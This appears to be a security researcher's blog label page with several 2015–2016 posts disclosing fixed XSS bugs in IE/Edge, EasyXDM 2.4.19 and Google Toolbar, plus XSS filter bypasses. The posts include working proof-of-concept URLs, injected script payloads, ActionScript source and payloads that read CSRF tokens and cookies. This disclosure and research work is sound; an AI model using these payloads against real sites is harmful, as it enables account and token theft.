Showing posts with label IE. Show all posts
Showing posts with label IE. Show all posts

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.




To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:

http://vulnerabledoma.in/xxn/xss_javadoc.html

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
In the <script>, it checks whether the given string via location.search is safe.
For example, the following unsafe URL is blocked:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:



You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.




After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)

Thanks!

Sunday, April 10, 2016

Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSS

In this post, I would like to explain an XSS issue of EasyXDM 2.4.19.
I reported it and it was fixed by the developer.

If you are users, you should update it to EasyXDM 2.4.20.

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20


This bug is different from the following @kkotowicz's bugs.

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html

Technical Details

To reproduce this bug, we need a little unusual trick. This bug works on only MSIE. Also, the document mode should be old (IE7 or 5). This is because XSS exists in the part where only buggy browser can pass through. And only old document mode can meet this condition.

Let's look at the code. XSS occurs in the following createElement() part:

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509
    if (HAS_NAME_PROPERTY_BUG) {
        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
    }

The HAS_NAME_PROPERTY_BUG variable of the if statement condition becomes true on an only buggy browser. It is assigned in the following function:

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}
This code creates a form element and a input element with a name attribute and tries to access to a input element via the name. It seems that IE7 mode cannot access to a element created dynamically with JavaScript via the name. And this code is for testing it.

I created a page for testing this part. You can confirm that the HAS_NAME_PROPERTY_BUG variable becomes true from MSIE.

http://vulnerabledoma.in/easyxdm/name_property_test.html

So, let's confirm this XSS using the vulnerable EasyXDM.

Go to the following URL and change IE7 mode via F12 Developer Tools( F12 -> Emulation tab ). You should see an alert dialog.

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

OK, we knew that it actually works. But it works on only IE7 mode so far. This means that an opportunity of attack is very limited.

So, we use the trick called "document mode inheritance" which I took up in my slides recently.



Let's use this!

http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
You still cannot see an alert dialog. The parent window is running in IE5 mode by the meta tag. But the iframe is running in IE8 mode. This is because the iframe page has <!DOCTYPE html>. If it exists, IE11 can bring down the document mode until IE8 mode. To XSS, we somehow have to bring down to IE7 mode.

No worries! Recently I found that IE has the strong inheritance ability at the specific place. You can test this from:

http://l0.cm/easyxdm/poc.eml

Finally, you can see an alert dialog. A difference between the former and this page is that the page is a Content-Type: message/rfc822 format, not text/html. As I have shown in the following my slides, IE/Edge still can open a message/rfc822 document into the browser.


It seems that a message/rfc822 document is rendered in IE5 mode by default. And it seems its docmode inheritance ability is stronger more than a text/html page. Even if the page has <!DCOTYPE html>, we can bring down the document mode until IE7 mode. Due to this, we can reach the vulnerable code. w00t! :)

Using this technique, it can extend the impact. The problem affecting only IE7 mode becomes the problem affecting all IE11 users without being changed to an old document mode by users. It's very useful technique, isn't it? :)

I wrote about XSS in EasyXDM 2.4.19.
That's all. Thank you for reading my post!

Friday, January 29, 2016

XSS using Google Toolbar's command

In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.

For example, you can find the command from: http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at command() function.
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, fixmenu=1 is associated with the reset settings.

document.googleToken is used for CSRF token. document.googleToken is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.

OK, that's about it.

Examine Toolbar's command

First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed navigateto command. As its name suggests, navigateto command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.
(Note: It seems this command was removed on latest Google Toolbar )
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
Also I tested javascript: URL.
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"

Then I got an alert dialog! But It's too early to rejoice because we can't know document.googleToken from external page. In other words, if an attacker can get document.googleToken, it becomes XSS hole directly.

XSS part 1

I went around to resources of toolbar.google.com domain and I found the following page:

http://toolbar.google.com/dc/dcuninstall.html (WebArchive)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
The page has the button which can execute command. If button is clicked, it calls command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html"); function via OnYes() function.

Let's put command details aside, take a look at the path variable. The path variable is set by the following line:
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
It cuts location.href to use as command string. I believe that the coder expects following bold string:


https://toolbar.google.com/dc/dcuninstall.html

But this code is not good. If the URL has / in the query or hash, it will cut unexpected URL string.

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

So, what will happen if we put the following string?

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

This URL is assigned into the path variable and it is used for the part of the command string, like this:

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html

There are two navigateto in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to javascript:alert(1)//dcuninstalled.html!!

In this way, I have achieved XSS without knowing document.googleToken.

XSS part 2

After that, I found another interesting page:

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
Let's take a look at this code. 
First, Load() function is called:
<body onload="Load()"> 
Load() function sets document.URL string to url variable:
var url = window.document.URL.toString();
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find custom_button_uri parameter. If it can find the parameter, it assigns the parameter value to the document.custom_button_uid variable.
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

The document.custom_button_uid variable is passed to command() function:
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
This means that user input is passed into command via the custom_button_uri query parameter.
Let's take a look at the assignment part again:
document.custom_button_uid = unescape(param_pieces[1]);

Fortunately, the custom_button_uri value passes through unescape() method! This means that we can put urlencoded & and =, like this:

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

Finally, the command string is:

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

Done!


Rewards

I reported the bugs via Google VRP and I received the reward of $3133.7 × 2.
It is not easy to find and understand non-documented commands, but it was a fun time.

And finally, I would like to introduce the holiday gift that I received from Google last year.
(You can find past gifts from: ChromebookNexus 10Nexus 5Moto 360  )
It is the USB Armory, Bug Bountopoly and post card!





Stephen of Google Security Team gave me the Japanese message and bug hunter's llustration. It's so lovely!
I will continue the bug reports again this year. Thank you so much!

Wednesday, December 16, 2015

X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter

In this post, I would like to share XSS attack using IE's XSS filter. This issue was fixed in the December patch by Microsoft. (CVE-2015-6144 / CVE-2015-6176)

I spoke about this topics in the Japanese info-sec conference called CODE BLUE. You can find my name here. In my presentation, I talked about only the concept and I didn't touch details of attack techniques because it was not fixed at that time. 

Today, I can finally release hidden slides! Yeah!
The real X-XSS-Nightmare slides is the following.



Some attack vectors which I have reported are not fixed yet. So, I had to remove some slides :p

You can reproduce some PoC from this page:

http://l0.cm/xxn/


I hope you will enjoy it!

Tuesday, September 29, 2015

Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence

I would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.

To use this vector, we need the target page's Content-Type header which charset is not specified in.

Bypass 1

PoC:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
No user interaction version:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .

If Content-Type header has proper charset, it does not work:
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

On the other hand, if meta tag has proper charset, it still works:
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

Bypass 2

"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.

PoC is here:
http://l0.cm/xssfilter_hz_poc.html

Please click the "go" button. You can confirm element.click method is called.

"click" is called from the following code:
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

Also, you can use "toString":
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

<script>var q="";~{toString:opener.button.click}//"</script>

That's all. See you next month!

Tuesday, June 16, 2015

Bypassing IE's XSS Filter with showModalDialog

Hi there! I'm Masato Kinugawa. Finally, I started my blog in English :)
Also I will continue to write in Japanese as until now: http://masatokinugawa.l0.cm/
Today, I want to share IE's XSS filter bypass with showModalDialog.

showModalDialog function is old and has been removed from the web standards, but it has unique mechanism. I thought it might make my day. That's why I started looking into it.
The function is still supported by IE, Firefox and Safari.

First of all, let's recap usage of showModalDialog.


The first argument is URL which you want to open in the modal dialog.
The second argument is the argument which you want to pass to the modal dialog. And you can use it through window.dialogArguments property in the modal window.


To pass argument through window.dialogArguments, it seems that two windows must be same origin.

But it is different in case of returnValue. Two windows don't have to be same origin in Safari and IE. (Only Firefox needs same origin)

Here is my test page:
http://vulnerabledoma.in/showModalDialog/opener.html

Safari can pass it to different origin simply. Please test from the "x-origin" button.
To reproduce on IE, we need 3xx redirect. Please test from the "x-origin(redirect)" button.

This behavior means that we can pass information to another origin's page via returnValue property in Safari and IE. It might make a hole in some web application. But of course, I don't want to enlighten secure usage of showModalDialog in 2015 :)

Let's go to the main, bypass IE's XSS filter.


Exploitable Conditions:
  1. XSS exists in string literal of JS.
  2. Any JS property contains sensitive information.

The following is my test page:

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

Seeing is believing. Please go to the following PoC using IE:

http://l0.cm/xssfilter_bypass/showModalDialog.html

If it goes well, you can see token strings in alert when you closed the modal dialog.

Let's take a look at details. The redirect takes you to:

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//

The payload is injected:
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
Then, the token is passed into returnValue. Yeah!!

Needless to say, also it works:

";returnValue=document.cookie//
";returnValue=localStorage.key//

I have tried unsuccessfully to access other page's window object through window.opener. Any idea?

That's all. Understood? :)

FYI, I have blogged about some XSS filter bypass techniques in the past. (Sorry, Japanese text only)
If you are interested in other bypasses, please read using Google Translate.


ブラウザのXSS保護機能をバイパスする(1) (2012/2)
ブラウザのXSS保護機能をバイパスする(2) (2012/3)
ブラウザのXSS保護機能をバイパスする(3) (2012/9)
ブラウザのXSS保護機能をバイパスする(4) (2014/9)
ブラウザのXSS保護機能をバイパスする(5) (2014/10)

I'm going to continue to write blog in English as far as possible. 
Thank you!

Update(2015/6/17)

I found a way to pass other same-origin page's information via returnValue.
Anyway please go to the following page and click the "go" button.

http://l0.cm/xssfilter_bypass/showModalDialog2.html

If it goes well, you can see "<h1>This is secret Text!</h1>" of  other same-origin page's information in alert dialog. In this PoC, we don't need 3xx redirect. It seems that we can set returnValue from x-origin page in iframe which exists in showModalDialog.